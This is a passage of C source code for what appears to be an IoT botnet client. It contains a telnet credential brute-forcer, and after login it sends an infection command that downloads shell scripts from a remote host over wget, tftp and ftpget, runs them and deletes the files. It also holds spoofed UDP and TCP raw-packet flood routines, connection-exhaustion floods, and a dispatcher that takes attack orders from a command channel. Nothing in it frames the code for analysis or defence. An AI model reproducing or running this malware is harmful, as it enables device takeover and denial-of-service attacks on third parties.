  923. }
  924.  
  925. if(fds[i].totalTimeout + 30 < time(NULL))
  926. {
  927. sclose(fds[i].fd);
  928. fds[i].state = 0;
  929. fds[i].complete = 1;
  930. }
  931. }
  932. break;
  933.  
  934. case 3:
  935. {
  936. if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  937. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  938. fds[i].state = 4;
  939. }
  940. break;
  941.  
  942. case 4:
  943. {
  944. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  945.  
  946. if(readUntil(fds[i].fd, "assword:", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  947. {
  948. fds[i].totalTimeout = 0;
  949. fds[i].bufUsed = 0;
  950. if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  951. else fds[i].state = 7;
  952. memset(fds[i].sockbuf, 0, 1024);
  953. continue;
  954. } else {
  955. if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  956. fds[i].bufUsed = strlen(fds[i].sockbuf);
  957. }
  958.  
  959. if(fds[i].totalTimeout + 8 < time(NULL)) //was if(fds[i].totalTimeout + 8 < time(NULL))
  960. {
  961. sclose(fds[i].fd);
  962. fds[i].state = 0;
  963. fds[i].complete = 1;
  964. }
  965. }
  966. break;
  967.  
  968. case 5:
  969. {
  970. if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  971. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  972. fds[i].state = 6;
  973. }
  974. break;
  975.  
  976. case 6:
  977. {
  978. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  979.  
  980. if(readUntil(fds[i].fd, "ncorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  981. {
  982. fds[i].totalTimeout = 0;
  983. fds[i].bufUsed = 0;
  984. if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  985. if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  986. else fds[i].state = 7;
  987. memset(fds[i].sockbuf, 0, 1024);
  988. continue;
  989. } else {
  990. fds[i].bufUsed = strlen(fds[i].sockbuf);
  991. }
  992.  
  993. if(fds[i].totalTimeout + 30 < time(NULL))
  994. {
  995. sclose(fds[i].fd);
  996. fds[i].state = 0;
  997. fds[i].complete = 1;
  998. }
  999. }
  1000. break;
  1001.  
  1002. case 7:
  1003. {
  1004. if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1005. fds[i].state = 8;
  1006. }
  1007. break;
  1008.  
  1009. case 8:
  1010. {
  1011. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1012.  
  1013. if(send(fds[i].fd, "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://0.0.0.0/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 391, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; memset(fds[i].sockbuf, 0, 1024); continue; }
  1014.  
  1015. if(fds[i].totalTimeout + 15 < time(NULL))
  1016. {
  1017. sclose(fds[i].fd);
  1018. fds[i].state = 0;
  1019. fds[i].complete = 1;
  1020. }
  1021. }
  1022. break;
  1023. }
  1024. }
  1025. }
  1026. }
  1027. void sendSTD(unsigned char *ip, int port, int secs) {
  1028. int iSTD_Sock;
  1029. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  1030. time_t start = time(NULL);
  1031. struct sockaddr_in sin;
  1032. struct hostent *hp;
  1033. hp = gethostbyname(ip);
  1034. bzero((char*) &sin,sizeof(sin));
  1035. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  1036. sin.sin_family = hp->h_addrtype;
  1037. sin.sin_port = port;
  1038. unsigned int a = 0;
  1039. while(1){
  1040. if (a >= 50)
  1041. {
  1042. send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
  1043. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  1044. if (time(NULL) >= start + secs)
  1045. {
  1046. close(iSTD_Sock);
  1047. _exit(0);
  1048. }
  1049. a = 0;
  1050. }
  1051. a++;
  1052. }
  1053. }
  1054.  
  1055. // ___ ___ ___ _ _
  1056. // /\ /\ / \/ _ \ / __\ | ___ ___ __| |
  1057. // / / \ \/ /\ / /_)/ / _\ | |/ _ \ / _ \ / _` |
  1058. // \ \_/ / /_// ___/ / / | | (_) | (_) | (_| |
  1059. // \___/___,'\/ \/ |_|\___/ \___/ \__,_|
  1060.  
  1061. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  1062. {
  1063. struct sockaddr_in dest_addr;
  1064.  
  1065. dest_addr.sin_family = AF_INET;
  1066. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1067. else dest_addr.sin_port = htons(port);
  1068. if(getHost(target, &dest_addr.sin_addr)) return;
  1069. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1070.  
  1071. register unsigned int pollRegister;
  1072. pollRegister = pollinterval;
  1073.  
  1074. if(spoofit == 32)
  1075. {
  1076. int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1077. if(!sockfd)
  1078. {
  1079. sockprintf(mainCommSock, "Failed opening raw socket.");
  1080. return;
  1081. }
  1082.  
  1083. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  1084. if(buf == NULL) return;
  1085. memset(buf, 0, packetsize + 1);
  1086. makeRandomStr(buf, packetsize);
  1087.  
  1088. int end = time(NULL) + timeEnd;
  1089. register unsigned int i = 0;
  1090. while(1)
  1091. {
  1092. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1093.  
  1094. if(i == pollRegister)
  1095. {
  1096. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1097. if(time(NULL) > end) break;
  1098. i = 0;
  1099. continue;
  1100. }
  1101. i++;
  1102. }
  1103. } else {
  1104. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1105. if(!sockfd)
  1106. {
  1107. sockprintf(mainCommSock, "Failed opening raw socket.");
  1108. //sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1109. return;
  1110. }
  1111.  
  1112. int tmp = 1;
  1113. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1114. {
  1115. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1116. return;
  1117. }
  1118.  
  1119. int counter = 50;
  1120. while(counter--)
  1121. {
  1122. srand(time(NULL) ^ rand_cmwc());
  1123. init_rand(rand());
  1124. }
  1125.  
  1126. in_addr_t netmask;
  1127.  
  1128. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1129. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1130.  
  1131. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1132. struct iphdr *iph = (struct iphdr *)packet;
  1133. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1134.  
  1135. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1136.  
  1137. udph->len = htons(sizeof(struct udphdr) + packetsize);
  1138. udph->source = rand_cmwc();
  1139. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1140. udph->check = 0;
  1141.  
  1142. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1143.  
  1144. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1145.  
  1146. int end = time(NULL) + timeEnd;
  1147. register unsigned int i = 0;
  1148. while(1)
  1149. {
  1150. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1151.  
  1152. udph->source = rand_cmwc();
  1153. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1154. iph->id = rand_cmwc();
  1155. iph->saddr = htonl( getRandomIP(netmask) );
  1156. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1157.  
  1158. if(i == pollRegister)
  1159. {
  1160. if(time(NULL) > end) break;
  1161. i = 0;
  1162. continue;
  1163. }
  1164. i++;
  1165. }
  1166. }
  1167. }
  1168.  
  1169. // _____ ___ ___ ___ _ _
  1170. // /__ \/ __\ / _ \ / __\ | ___ ___ __| |
  1171. // / /\/ / / /_)/ / _\ | |/ _ \ / _ \ / _` |
  1172. // / / / /___/ ___/ / / | | (_) | (_) | (_| |
  1173. // \/ \____/\/ \/ |_|\___/ \___/ \__,_|
  1174.  
  1175. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  1176. {
  1177. register unsigned int pollRegister;
  1178. pollRegister = pollinterval;
  1179.  
  1180. struct sockaddr_in dest_addr;
  1181.  
  1182. dest_addr.sin_family = AF_INET;
  1183. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1184. else dest_addr.sin_port = htons(port);
  1185. if(getHost(target, &dest_addr.sin_addr)) return;
  1186. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1187.  
  1188. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  1189. if(!sockfd)
  1190. {
  1191. sockprintf(mainCommSock, "Failed opening raw socket.");
  1192. return;
  1193. }
  1194.  
  1195. int tmp = 1;
  1196. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1197. {
  1198. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1199. return;
  1200. }
  1201.  
  1202. in_addr_t netmask;
  1203.  
  1204. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1205. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1206.  
  1207. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  1208. struct iphdr *iph = (struct iphdr *)packet;
  1209. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1210.  
  1211. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  1212.  
  1213. tcph->source = rand_cmwc();
  1214. tcph->seq = rand_cmwc();
  1215. tcph->ack_seq = 0;
  1216. tcph->doff = 5;
  1217.  
  1218. if(!strcmp(flags, "all"))
  1219. {
  1220. tcph->syn = 1;
  1221. tcph->rst = 1;
  1222. tcph->fin = 1;
  1223. tcph->ack = 1;
  1224. tcph->psh = 1;
  1225. } else {
  1226. unsigned char *pch = strtok(flags, ",");
  1227. while(pch)
  1228. {
  1229. if(!strcmp(pch, "syn"))
  1230. {
  1231. tcph->syn = 1;
  1232. } else if(!strcmp(pch, "rst"))
  1233. {
  1234. tcph->rst = 1;
  1235. } else if(!strcmp(pch, "fin"))
  1236. {
  1237. tcph->fin = 1;
  1238. } else if(!strcmp(pch, "ack"))
  1239. {
  1240. tcph->ack = 1;
  1241. } else if(!strcmp(pch, "psh"))
  1242. {
  1243. tcph->psh = 1;
  1244. } else {
  1245. sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  1246. }
  1247. pch = strtok(NULL, ",");
  1248. }
  1249. }
  1250.  
  1251. tcph->window = rand_cmwc();
  1252. tcph->check = 0;
  1253. tcph->urg_ptr = 0;
  1254. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1255. tcph->check = tcpcsum(iph, tcph);
  1256.  
  1257. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1258.  
  1259. int end = time(NULL) + timeEnd;
  1260. register unsigned int i = 0;
  1261. while(1)
  1262. {
  1263. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1264.  
  1265. iph->saddr = htonl( getRandomIP(netmask) );
  1266. iph->id = rand_cmwc();
  1267. tcph->seq = rand_cmwc();
  1268. tcph->source = rand_cmwc();
  1269. tcph->check = 0;
  1270. tcph->check = tcpcsum(iph, tcph);
  1271. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1272.  
  1273. if(i == pollRegister)
  1274. {
  1275. if(time(NULL) > end) break;
  1276. i = 0;
  1277. continue;
  1278. }
  1279. i++;
  1280. }
  1281. }
  1282.  
  1283.  
  1284. // __ __ ___ _ _
  1285. // \ \ /\ /\ /\ \ \/\ /\ / __\ | ___ ___ __| |
  1286. // \ \/ / \ \/ \/ / //_/ / _\ | |/ _ \ / _ \ / _` |
  1287. // /\_/ /\ \_/ / /\ / __ \ / / | | (_) | (_) | (_| |
  1288. // \___/ \___/\_\ \/\/ \/ \/ |_|\___/ \___/ \__,_|
  1289.  
  1290. void sendJUNK(unsigned char *ip, int port, int end_time)
  1291. {
  1292.  
  1293. int max = getdtablesize() / 2, i;
  1294.  
  1295. struct sockaddr_in dest_addr;
  1296. dest_addr.sin_family = AF_INET;
  1297. dest_addr.sin_port = htons(port);
  1298. if(getHost(ip, &dest_addr.sin_addr)) return;
  1299. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1300.  
  1301. struct state_t
  1302. {
  1303. int fd;
  1304. uint8_t state;
  1305. } fds[max];
  1306. memset(fds, 0, max * (sizeof(int) + 1));
  1307.  
  1308. fd_set myset;
  1309. struct timeval tv;
  1310. socklen_t lon;
  1311. int valopt, res;
  1312.  
  1313. unsigned char *watwat = malloc(1024);
  1314. memset(watwat, 0, 1024);
  1315.  
  1316. int end = time(NULL) + end_time;
  1317. while(end > time(NULL))
  1318. {
  1319. for(i = 0; i < max; i++)
  1320. {
  1321. switch(fds[i].state)
  1322. {
  1323. case 0:
  1324. {
  1325. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1326. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1327. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1328. else fds[i].state = 1;
  1329. }
  1330. break;
  1331.  
  1332. case 1:
  1333. {
  1334. FD_ZERO(&myset);
  1335. FD_SET(fds[i].fd, &myset);
  1336. tv.tv_sec = 0;
  1337. tv.tv_usec = 10000;
  1338. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1339. if(res == 1)
  1340. {
  1341. lon = sizeof(int);
  1342. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1343. if(valopt)
  1344. {
  1345. close(fds[i].fd);
  1346. fds[i].state = 0;
  1347. } else {
  1348. fds[i].state = 2;
  1349. }
  1350. } else if(res == -1)
  1351. {
  1352. close(fds[i].fd);
  1353. fds[i].state = 0;
  1354. }
  1355. }
  1356. break;
  1357.  
  1358. case 2:
  1359. {
  1360. makeRandomStr(watwat, 1024);
  1361. if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
  1362. {
  1363. close(fds[i].fd);
  1364. fds[i].state = 0;
  1365. }
  1366. }
  1367. break;
  1368. }
  1369. }
  1370. }
  1371. }
  1372.  
  1373. // _ _ ___ _ _
  1374. // /\ /\___ | | __| | / __\ | ___ ___ __| |
  1375. // / /_/ / _ \| |/ _` | / _\ | |/ _ \ / _ \ / _` |
  1376. // / __ / (_) | | (_| | / / | | (_) | (_) | (_| |
  1377. // \/ /_/ \___/|_|\__,_| \/ |_|\___/ \___/ \__,_|
  1378.  
  1379. void sendHOLD(unsigned char *ip, int port, int end_time)
  1380. {
  1381.  
  1382. int max = getdtablesize() / 2, i;
  1383.  
  1384. struct sockaddr_in dest_addr;
  1385. dest_addr.sin_family = AF_INET;
  1386. dest_addr.sin_port = htons(port);
  1387. if(getHost(ip, &dest_addr.sin_addr)) return;
  1388. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1389.  
  1390. struct state_t
  1391. {
  1392. int fd;
  1393. uint8_t state;
  1394. } fds[max];
  1395. memset(fds, 0, max * (sizeof(int) + 1));
  1396.  
  1397. fd_set myset;
  1398. struct timeval tv;
  1399. socklen_t lon;
  1400. int valopt, res;
  1401.  
  1402. unsigned char *watwat = malloc(1024);
  1403. memset(watwat, 0, 1024);
  1404.  
  1405. int end = time(NULL) + end_time;
  1406. while(end > time(NULL))
  1407. {
  1408. for(i = 0; i < max; i++)
  1409. {
  1410. switch(fds[i].state)
  1411. {
  1412. case 0:
  1413. {
  1414. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1415. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1416. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1417. else fds[i].state = 1;
  1418. }
  1419. break;
  1420.  
  1421. case 1:
  1422. {
  1423. FD_ZERO(&myset);
  1424. FD_SET(fds[i].fd, &myset);
  1425. tv.tv_sec = 0;
  1426. tv.tv_usec = 10000;
  1427. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1428. if(res == 1)
  1429. {
  1430. lon = sizeof(int);
  1431. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1432. if(valopt)
  1433. {
  1434. close(fds[i].fd);
  1435. fds[i].state = 0;
  1436. } else {
  1437. fds[i].state = 2;
  1438. }
  1439. } else if(res == -1)
  1440. {
  1441. close(fds[i].fd);
  1442. fds[i].state = 0;
  1443. }
  1444. }
  1445. break;
  1446.  
  1447. case 2:
  1448. {
  1449. FD_ZERO(&myset);
  1450. FD_SET(fds[i].fd, &myset);
  1451. tv.tv_sec = 0;
  1452. tv.tv_usec = 10000;
  1453. res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
  1454. if(res != 0)
  1455. {
  1456. close(fds[i].fd);
  1457. fds[i].state = 0;
  1458. }
  1459. }
  1460. break;
  1461. }
  1462. }
  1463. }
  1464. }
  1465.  
  1466. /*
  1467. // __ _ __ _ _
  1468. // / _\ ___ _ __ __| | /__\ __ ___ __ _(_) |
  1469. // \ \ / _ \ '_ \ / _` | /_\| '_ ` _ \ / _` | | |
  1470. // _\ \ __/ | | | (_| | //__| | | | | | (_| | | |
  1471. // \__/\___|_| |_|\__,_| \__/|_| |_| |_|\__,_|_|_|
  1472.  
  1473. void sendEmail(unsigned char *email, unsigned char *host, unsigned char *subject, unsigned char *message)
  1474. {
  1475. unsigned char buffer[1024];
  1476. memset(buffer, 0, 1024);
  1477.  
  1478. int fd = socket(AF_INET, SOCK_STREAM, 0);
  1479. if(!connectTimeout(fd, host, 25, 30)) { close(fd); return; }
  1480. if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  1481. if(strstr(buffer, "220 ") == NULL) { close(fd); return; }
  1482.  
  1483. if(send(fd, "HELO rastrent.com\r\n", 19, MSG_NOSIGNAL) != 19) { close(fd); return; }
  1484. if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  1485. if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
  1486. memset(buffer, 0, 1024);
  1487.  
  1488. if(send(fd, "MAIL FROM: <mrras@rastrent.com>\r\n", 33, MSG_NOSIGNAL) != 33) { close(fd); return; }
  1489. if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  1490. if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
  1491. memset(buffer, 0, 1024);
  1492.  
  1493. if(send(fd, "RCPT TO: <", 10, MSG_NOSIGNAL) != 10) { close(fd); return; }
  1494. if(send(fd, email, strlen(email), MSG_NOSIGNAL) != strlen(email)) { close(fd); return; }
  1495. if(send(fd, ">\r\n", 3, MSG_NOSIGNAL) != 3) { close(fd); return; }
  1496. if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  1497. if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
  1498. memset(buffer, 0, 1024);
  1499.  
  1500. if(send(fd, "DATA\r\n", 6, MSG_NOSIGNAL) != 6) { close(fd); return; }
  1501. if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  1502. if(strstr(buffer, "354 ") == NULL) { close(fd); return; }
  1503. memset(buffer, 0, 1024);
  1504.  
  1505. if(send(fd, "To: ", 4, MSG_NOSIGNAL) != 4) { close(fd); return; }
  1506. if(send(fd, email, strlen(email), MSG_NOSIGNAL) != strlen(email)) { close(fd); return; }
  1507. if(send(fd, "\r\nFrom: mrras@rastrent.com\r\nSubject: ", 38, MSG_NOSIGNAL) != 38) { close(fd); return; }
  1508. if(send(fd, subject, strlen(subject), MSG_NOSIGNAL) != strlen(subject)) { close(fd); return; }
  1509. if(send(fd, "\r\n\r\n", 4, MSG_NOSIGNAL) != 4) { close(fd); return; }
  1510. if(send(fd, message, strlen(message), MSG_NOSIGNAL) != strlen(message)) { close(fd); return; }
  1511. if(send(fd, "\r\n.\r\n", 5, MSG_NOSIGNAL) != 5) { close(fd); return; }
  1512. if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  1513. if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
  1514. memset(buffer, 0, 1024);
  1515.  
  1516. send(fd, "QUIT\r\n", 6, MSG_NOSIGNAL);
  1517.  
  1518. close(fd);
  1519. return;
  1520. } */
  1521.  
  1522. // _____ __ ___ _
  1523. // \_ \/__\ / __\ /\/\ __ _(_)_ __
  1524. // / /\/ \// / / / \ / _` | | '_ \
  1525. // /\/ /_/ _ \/ /___ / /\/\ \ (_| | | | | |
  1526. // \____/\/ \_/\____/ \/ \/\__,_|_|_| |_|
  1527.  
  1528. void processCmd(int argc, unsigned char *argv[])
  1529. {
  1530. int x;
  1531. if(!strcmp(argv[0], "PING"))
  1532. {
  1533. sockprintf(mainCommSock, "PONG!");
  1534. return;
  1535. }
  1536.  
  1537. if(!strcmp(argv[0], "GETLOCALIP"))
  1538. {
  1539. sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
  1540. return;
  1541. }
  1542.  
  1543. if(!strcmp(argv[0], "SCANNER"))
  1544. {
  1545. if(argc != 2)
  1546. {
  1547. sockprintf(mainCommSock, "SCANNER ON | OFF");
  1548. return;
  1549. }
  1550.  
  1551. if(!strcmp(argv[1], "OFF"))
  1552. {
  1553. if(scanPid == 0) return;
  1554. kill(scanPid, 9);
  1555. printf("SCANNER STOPPED!\n");
  1556. scanPid = 0;
  1557. }
  1558.  
  1559. if(!strcmp(argv[1], "ON"))
  1560. {
  1561. if(scanPid != 0) return;
  1562. uint32_t parent;
  1563. parent = fork();
  1564. printf("SCANNER STARTED!\n");
  1565. if (parent > 0) { scanPid = parent; return;}
  1566. else if(parent == -1) return;
  1567.  
  1568. StartTheLelz();
  1569. _exit(0);
  1570. }
  1571. }
  1572. /*
  1573.  
  1574. if(!strcmp(argv[0], "EMAIL"))
  1575. {
  1576. if(argc < 5)
  1577. {
  1578. //sockprintf(mainCommSock, "EMAIL <target email> <mx host> <subject no spaces> <message no spaces>");
  1579. return;
  1580. }
  1581.  
  1582. unsigned char *target = argv[1];
  1583. unsigned char *host = argv[2];
  1584. unsigned char *subject = argv[3];
  1585. unsigned char *message = argv[4];
  1586.  
  1587. if (listFork()) { return; }
  1588.  
  1589. sendEmail(target, host, subject, message);
  1590. close(mainCommSock);
  1591.  
  1592. _exit(0);
  1593. }
  1594. */
  1595.  
  1596. if(!strcmp(argv[0], "HOLD"))
  1597. {
  1598. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1599. {
  1600. //sockprintf(mainCommSock, "HOLD <ip> <port> <time>");
  1601. return;
  1602. }
  1603.  
  1604. unsigned char *ip = argv[1];
  1605. int port = atoi(argv[2]);
  1606. int time = atoi(argv[3]);
  1607.  
  1608. if(strstr(ip, ",") != NULL)
  1609. {
  1610. unsigned char *hi = strtok(ip, ",");
  1611. while(hi != NULL)
  1612. {
  1613. if(!listFork())
  1614. {
  1615. sendHOLD(hi, port, time);
  1616. _exit(0);
  1617. }
  1618. hi = strtok(NULL, ",");
  1619. }
  1620. } else {
  1621. if (listFork()) { return; }
  1622.  
  1623. sendHOLD(ip, port, time);
  1624. _exit(0);
  1625. }
  1626. }
  1627.  
  1628. if(!strcmp(argv[0], "JUNK"))
  1629. {
  1630. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1631. {
  1632. //sockprintf(mainCommSock, "JUNK <ip> <port> <time>");
  1633. return;
  1634. }
  1635.  
  1636. unsigned char *ip = argv[1];
  1637. int port = atoi(argv[2]);
  1638. int time = atoi(argv[3]);
  1639.  
  1640. if(strstr(ip, ",") != NULL)
  1641. {
  1642. unsigned char *hi = strtok(ip, ",");
  1643. while(hi != NULL)
  1644. {
  1645. if(!listFork())
  1646. {
  1647. sendJUNK(hi, port, time);
  1648. close(mainCommSock);
  1649. _exit(0);
  1650. }
  1651. hi = strtok(NULL, ",");
  1652. }
  1653. } else {
  1654. if (listFork()) { return; }
  1655.  
  1656. sendJUNK(ip, port, time);
  1657. _exit(0);
  1658. }
  1659. }
  1660.  
  1661. if(!strcmp(argv[0], "UDP"))
  1662. {
  1663. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  1664. {
  1665. //sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <packet size (1 to 65500)> (time poll interval, default 10)");
  1666. return;
  1667. }
  1668.  
  1669. unsigned char *ip = argv[1];
  1670. int port = atoi(argv[2]);
  1671. int time = atoi(argv[3]);
  1672. int spoofed = atoi(argv[4]);
  1673. int packetsize = atoi(argv[5]);
  1674. int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  1675.  
  1676. if(strstr(ip, ",") != NULL)
  1677. {
  1678. unsigned char *hi = strtok(ip, ",");
  1679. while(hi != NULL)
  1680. {
  1681. if(!listFork())
  1682. {
  1683. sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  1684. _exit(0);
  1685. }
  1686. hi = strtok(NULL, ",");
  1687. }
  1688. } else {
  1689. if (listFork()) { return; }
  1690.  
  1691. sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  1692. _exit(0);
  1693. }
  1694. }
  1695.  
  1696. if(!strcmp(argv[0], "TCP"))
  1697. {
  1698. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  1699. {
  1700. //sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
  1701. return;
  1702. }
  1703.  
  1704. unsigned char *ip = argv[1];
  1705. int port = atoi(argv[2]);
  1706. int time = atoi(argv[3]);
  1707. int spoofed = atoi(argv[4]);
  1708. unsigned char *flags = argv[5];
  1709.  
  1710. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  1711. int psize = argc > 6 ? atoi(argv[6]) : 0;
  1712.  
  1713. if(strstr(ip, ",") != NULL)
  1714. {
  1715. unsigned char *hi = strtok(ip, ",");
  1716. while(hi != NULL)
  1717. {
  1718. if(!listFork())
  1719. {
  1720. sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  1721. _exit(0);
  1722. }
  1723. hi = strtok(NULL, ",");
  1724. }
  1725. } else {
  1726. if (listFork()) { return; }
  1727.  
  1728. sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  1729. _exit(0);
  1730. }
  1731. }
  1732.  
  1733. if(!strcmp(argv[0], "KILLATTK"))
  1734. {
  1735. int killed = 0;
  1736. unsigned long i;
  1737. for (i = 0; i < numpids; i++) {
  1738. if (pids[i] != 0 && pids[i] != getpid()) {
  1739. kill(pids[i], 9);
  1740. killed++;
  1741. }
  1742. }
  1743.  
  1744. if(killed > 0)
  1745. {
  1746. //sockprintf(mainCommSock, "Killed %d.", killed);
  1747. } else {
  1748. //sockprintf(mainCommSock, "None Killed.");
  1749. }
  1750. }
  1751.  
